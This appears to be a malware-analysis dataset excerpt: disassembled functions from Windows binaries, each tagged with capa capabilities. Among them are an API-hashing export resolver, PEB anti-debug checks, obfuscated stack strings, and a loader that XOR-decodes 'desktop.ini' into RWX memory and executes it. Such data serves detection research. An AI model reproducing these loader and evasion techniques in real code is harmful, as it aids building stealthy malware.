joyce8/EMBER2024-capa huggingface dataset:
Function at 0x423ff7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x424019
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x424019
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x424019
ret
cmp word [ebx + 4], 0x14c
jne 0x424019
test word [ebx + 0x16], 2
je 0x424019
test word [ebx + 0x16], 0x100
je 0x424019
cmp word [ebx + 0x18], 0x10b
jne 0x424019
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x424019
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4240a5
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x424039
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040af84
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x424019
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4240a5
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x424019
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x424019
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x424019
ret
cmp word [ebx + 4], 0x14c
jne 0x424019
test word [ebx + 0x16], 2
je 0x424019
test word [ebx + 0x16], 0x100
je 0x424019
cmp word [ebx + 0x18], 0x10b
jne 0x424019
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x424019
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4240a5
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x424039
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0040af84
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x424019
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x42415c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4241b5
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x42415c
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x42416b
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x829e0e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4241bc
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0040b032
cmp eax, dword [ebp + 0xc]
pop eax
je 0x42425b
add edi, 4
add eax, 2
dec ecx
jne 0x4241a1
call 0x424208
loope 0x4241fe
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x424258
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x424269
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x42421c
cmp eax, ecx
ja 0x42421c
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4242a6
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x42429c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0040b511
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x42416b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4241b5
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x42415c
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x42416b
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x829e0e
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4241bc
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0040b032
cmp eax, dword [ebp + 0xc]
pop eax
je 0x42425b
add edi, 4
add eax, 2
dec ecx
jne 0x4241a1
call 0x424208
loope 0x4241fe
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x424258
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x424269
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x42421c
cmp eax, ecx
ja 0x42421c
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4242a6
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x42429c
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0040b511
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401184
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.004090e0
mov eax, dword [0x2453c5c]
mov ecx, dword [0x24536e8]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x401243
push ebx
push edi
mov ebx, ecx
mov edi, eax
cmp dword [0x2453c5c], 0x959
jne 0x401232
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
push esi
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push str.Mokigehate_xolega_viricuh_mazu_fiboy
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push str.Yimu_givexohipalipen
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push str.Hipejes_joh_jagibavicedok_lozofowegad_dinomebaxedidox
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
push str.pajebipew
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call fcn.00401061
add ebx, 8
dec edi
jne 0x4011b0
pop edi
pop ebx
pop esi
leave
ret
Function at 0x401528
Capabilities:
Clear file content
Get common file path

Disassembly:
sub esp, 0x800
push esi
xor esi, esi
cmp dword [0x2453c5c], 0x400
push edi
jne 0x401583
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
push esi
call fcn.00402ba2
push esi
push esi
call fcn.004024bd
push esi
call fcn.00402b3d
push esi
push esi
call fcn.00402988
push esi
call fcn.00402ca0
push esi
push esi
call fcn.004023c1
add esp, 0x28
xor edi, edi
cmp edi, 0x16c76
jge 0x401595
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp edi, 0x12e5c52
jg 0x4015bb
inc edi
cmp edi, 0x3003f
jl 0x401585
mov eax, dword [0x43669c]
mov dword [0x2453c5c], eax
call fcn.00401246
mov edi, 0x3078f
cmp dword [0x2453c5c], 0x51f
jne 0x4015e7
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec edi
jne 0x4015cf
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x404aec
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435824]
jne 0x404af6
repz ret
jmp fcn.0040810a
Function at 0x409483
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x435824]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403a4b
and dword [ebp - 0x14], 0
cmp dword [0x44154c], 0
mov dword [ebp - 0x18], eax
jne 0x409536
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4095de
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4095de
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44154c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x441550], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x441554], eax
call edi
push eax
call esi
mov dword [0x44155c], eax
test eax, eax
je 0x409536
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x441558], eax
mov eax, dword [0x441558]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40958f
cmp dword [0x44155c], ecx
je 0x40958f
push eax
call esi
push dword [0x44155c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40958f
test ebx, ebx
je 0x40958f
call edi
test eax, eax
je 0x409586
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409586
test byte [ebp - 8], 1
jne 0x40958f
or dword [ebp + 0x10], 0x200000
jmp 0x4095c2
mov eax, dword [0x441550]
cmp eax, dword [ebp - 0x18]
je 0x4095c2
push eax
call esi
test eax, eax
je 0x4095c2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4095c2
mov eax, dword [0x441554]
cmp eax, dword [ebp - 0x18]
je 0x4095c2
push eax
call esi
test eax, eax
je 0x4095c2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44154c]
call esi
test eax, eax
je 0x4095de
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4095e0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404aec
leave
ret
Function at 0x403fe2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
test al, 0x50
call fcn.00403d49
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00403cfe
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x404027
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
invalid
inc ebp
Function at 0x406294
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x4062b8
xor eax, eax
test eax, eax
je 0x4062ca
cmp byte [ebp + eax - 0x121], 0x5c
je 0x4062ca
xor ecx, ecx
jmp 0x4062cd
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x495e30
Capabilities:
Accept command line arguments

Disassembly:
push esi
call fcn.0044b610
jmp fcn.00c2cc0b

Function at 0x574aec
Capabilities:
Encode data using xor

Disassembly:
mov byte [0xe733552c], al
push ebp
xor esp, edi
pop ecx
sbb edx, eax
add esp, dword [eax + 0x32]
bound ebp, qword [edx + 0x13cbe734]
push ecx
rcr byte [ecx + 0x4f408bba], 1
cmc
fld xword [ecx + 0x65]
push ecx
add al, 0x5d
jge 0x574aee
jmp dword [esi - 0x27]
Function at 0x4013a0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42028b
push eax
mov eax, 0x201c
mov dword fs:[0], esp
call fcn.0040b980
push ebx
push ebp
push esi
xor esi, esi
mov ebx, ecx
mov dword [esp + 0xc], esi
call fcn.00401540
test eax, eax
je 0x4014d5
mov edx, dword [ebx + 4]
mov eax, dword [esp + 0x2040]
mov ebp, dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
lea ecx, [esp + 0x14]
push ecx
push edx
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
call ebp
mov ecx, dword [esp + 0x203c]
lea eax, [esp + 0xc]
push esi
push eax
mov eax, dword [ebx + 4]
lea edx, [esp + 0x30]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, ebx
call fcn.00401540
test eax, eax
jne 0x40143c
mov edx, dword [ebx + 4]
lea ecx, [ebx + 0x5c]
push ecx
push edx
call ebp
xor eax, eax
jmp 0x4014d5
mov eax, dword [esp + 0xc]
cmp eax, esi
jne 0x40149a
cmp dword [esp + 0x2044], esi
je 0x40148c
mov eax, dword [0x42a448]
mov dword [esp + 0x10], eax
push 0xe29d
lea ecx, [esp + 0x14]
mov dword [esp + 0x2034], esi
call fcn.00416e6b
mov ecx, dword [esp + 0x10]
push esi
push 0x10
push ecx
call fcn.0041d9b8
lea ecx, [esp + 0x10]
mov dword [esp + 0x2030], 0xffffffff
call fcn.00416b1c
mov eax, dword [ebx + 4]
lea edx, [ebx + 0x5c]
push edx
push eax
call ebp
xor eax, eax
jmp 0x4014d5
push edi
mov edi, dword [esp + 0x203c]
push 0xffffffffffffffff
push eax
mov ecx, edi
call fcn.0041640f
mov ecx, dword [esp + 0x10]
mov edi, dword [edi + 4]
mov edx, ecx
lea esi, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebx + 0x5c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 4]
push ecx
call ebp
mov eax, 1
pop edi
mov ecx, dword [esp + 0x2028]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2028
ret 0x10
Function at 0x401fd0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4203d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [0x42a448]
push ebx
push ebp
push esi
push edi
mov ebx, ecx
mov dword [esp + 0x10], eax
push 0xe29b
lea ecx, [esp + 0x14]
mov dword [esp + 0x3c], 0
call fcn.00416e6b
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [ebx + 0x18]
call fcn.004068d0
mov ecx, dword [ebx + 0x18]
push 0x64
push 0
call fcn.00406900
mov ecx, dword [ebx + 0x18]
push 1
call fcn.00406980
mov ecx, dword [ebx + 0x18]
push 0
call fcn.00406940
lea ecx, [esp + 0x1c]
call fcn.004163af
push 0xffffffffffffffff
push 0x103
lea ecx, [esp + 0x24]
mov byte [esp + 0x40], 1
call fcn.0041640f
mov edx, dword [ebx + 0x10]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x14], edx
mov ebp, dword [esp + 0x40]
mov edx, dword [eax + 0x6d4]
mov eax, dword [esp + 0x44]
neg edx
sbb edx, edx
and edx, 0xfffffffc
add edx, 0x94
cmp ebp, eax
mov dword [esp + 0x18], edx
ja 0x402165
mov ecx, dword [esp + 0x20]
mov eax, ebp
shr eax, 8
mov byte [ecx], 0x41
mov ecx, dword [esp + 0x20]
mov esi, ebp
mov byte [ecx + 1], al
mov ecx, dword [esp + 0x20]
mov eax, ebp
shr eax, 0x10
mov byte [ecx + 2], al
mov eax, dword [esp + 0x14]
mov ecx, 0x40
mov edi, dword [eax + 4]
mov eax, dword [esp + 0x20]
add esi, edi
lea edi, [eax + 3]
test ebp, ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4020ef
cmp dword [esp + 0x48], 1
jne 0x4020ef
mov eax, 0x84
cmp edx, eax
jle 0x4020ef
mov ecx, dword [esp + 0x20]
inc eax
cmp eax, edx
mov byte [ecx + eax + 2], 0xff
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx + 4]
mov byte [eax + ecx - 1], 0xff
jl 0x4020d5
mov ecx, dword [esp + 0x20]
mov eax, 3
cmp byte [ecx + eax], 0xff
jne 0x402108
inc eax
cmp eax, 0x103
jl 0x4020f8
jmp 0x402121
lea edx, [esp + 0x1c]
mov ecx, ebx
push edx
call fcn.00402c70
cmp eax, 1
jne 0x4021b6
mov edx, dword [esp + 0x18]
test ebp, 0x100
je 0x402153
lea eax, [ebp + ebp*4]
xor edx, edx
mov ecx, dword [ebx + 0x18]
lea eax, [eax + eax*4]
shl eax, 2
div dword [esp + 0x44]
push eax
call fcn.00406940
mov ecx, dword [ebx + 0x18]
call fcn.00406a10
cmp eax, 1
je 0x4021af
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x44]
add ebp, 0x100
cmp ebp, eax
jbe 0x402089
mov ecx, dword [ebx + 0x18]
push 0x64
call fcn.00406940
lea ecx, [esp + 0x1c]
mov dword [ebx + 0x2c], 1
mov byte [esp + 0x38], 0
call fcn.004163e2
lea ecx, [esp + 0x10]
mov dword [esp + 0x38], 0xffffffff
call fcn.00416b1c
mov eax, 1
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret 0xc
mov dword [ebx + 4], 0xc
lea ecx, [esp + 0x1c]
mov byte [esp + 0x38], 0
call fcn.004163e2
lea ecx, [esp + 0x10]
mov dword [esp + 0x38], 0xffffffff
call fcn.00416b1c
xor eax, eax
jmp 0x40219a
Function at 0x4032a0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x420578
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 0x14]
mov ebx, dword [eax + 0x20]
mov dword [esp + 8], ecx
lea ecx, [esp + 0xc]
inc ebx
call fcn.004163af
push 0xffffffffffffffff
push 0xa
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0
call fcn.0041640f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov ecx, eax
mov byte [edx], 0x55
mov edx, dword [esp + 0x10]
shr ecx, 0x18
mov byte [edx + 1], cl
mov edx, dword [esp + 0x10]
mov ecx, eax
shr ecx, 0x10
mov byte [edx + 2], cl
mov edx, dword [esp + 0x10]
mov ecx, eax
shr ecx, 8
mov byte [edx + 3], cl
mov ecx, dword [esp + 0x10]
mov edx, ebx
mov byte [ecx + 4], al
mov eax, dword [esp + 0x10]
shr edx, 0x18
mov byte [eax + 5], dl
mov edx, dword [esp + 0x10]
mov ecx, ebx
mov eax, ebx
shr ecx, 0x10
mov byte [edx + 6], cl
mov ecx, dword [esp + 0x10]
shr eax, 8
mov byte [ecx + 7], al
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0xc]
mov byte [edx + 8], bl
mov eax, dword [esp + 0x10]
push ecx
mov byte [eax + 9], 0xaa
mov ecx, dword [esi + 0x14]
call fcn.004014f0
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004163e2
mov ecx, dword [esp + 0x20]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x403380
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4205a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
mov eax, dword [0x42a448]
push ebp
mov ebp, ecx
push esi
push edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], edi
mov ebx, dword [edi + 0x20]
mov dword [esp + 0x14], eax
inc ebx
xor esi, esi
push 0xe2aa
lea ecx, [esp + 0x18]
mov dword [esp + 0x48], esi
call fcn.00416e6b
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, dword [ebp + 0x18]
call fcn.004068d0
mov ecx, dword [ebp + 0x18]
push 0x64
push esi
call fcn.00406900
mov ecx, dword [ebp + 0x18]
push 1
call fcn.00406980
mov ecx, dword [ebp + 0x18]
push esi
call fcn.00406940
lea ecx, [esp + 0x28]
call fcn.004163af
push 0xffffffffffffffff
push 0x1000
lea ecx, [esp + 0x30]
mov byte [esp + 0x4c], 1
call fcn.0041640f
mov eax, ebx
mov dword [esp + 0x10], esi
cdq
and edx, 0xfff
mov dword [esp + 0x1c], esi
add eax, edx
sar eax, 0xc
cmp eax, esi
mov dword [esp + 0x24], eax
jle 0x40349d
mov dword [esp + 0x18], esi
mov esi, dword [esp + 0x10]
mov eax, dword [edi + 4]
mov edi, dword [esp + 0x2c]
mov ecx, 0x400
add esi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 0x10]
call fcn.00406640
lea edx, [esp + 0x28]
push eax
push edx
mov ecx, ebp
call fcn.00403590
test eax, eax
je 0x4034fb
mov eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x18]
add eax, 0x1000
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
add eax, 0x64000
mov dword [esp + 0x18], eax
cdq
idiv ebx
push eax
call fcn.00406940
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
mov edi, dword [esp + 0x20]
inc eax
cmp eax, ecx
mov dword [esp + 0x1c], eax
jl 0x403431
mov esi, ebx
and esi, 0x80000fff
jns 0x4034af
dec esi
or esi, 0xfffff000
inc esi
mov dword [esp + 0x24], esi
je 0x40354e
push 0xffffffffffffffff
push esi
lea ecx, [esp + 0x30]
call fcn.0041640f
mov ecx, esi
mov esi, dword [edi + 4]
mov edi, dword [esp + 0x10]
mov eax, ecx
add esi, edi
mov edi, dword [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0x10]
call fcn.00406640
lea ecx, [esp + 0x28]
push eax
push ecx
mov ecx, ebp
call fcn.00403590
test eax, eax
jne 0x40352f
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.004163e2
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0xffffffff
call fcn.00416b1c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
add esp, 0x38
ret
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x24]
add eax, esi
mov ecx, dword [ebp + 0x18]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 2
cdq
idiv ebx
push eax
call fcn.00406940
mov ecx, dword [ebp + 0x18]
push 0x64
call fcn.00406940
lea ecx, [esp + 0x28]
mov byte [esp + 0x44], 0
call fcn.004163e2
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0xffffffff
call fcn.00416b1c
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret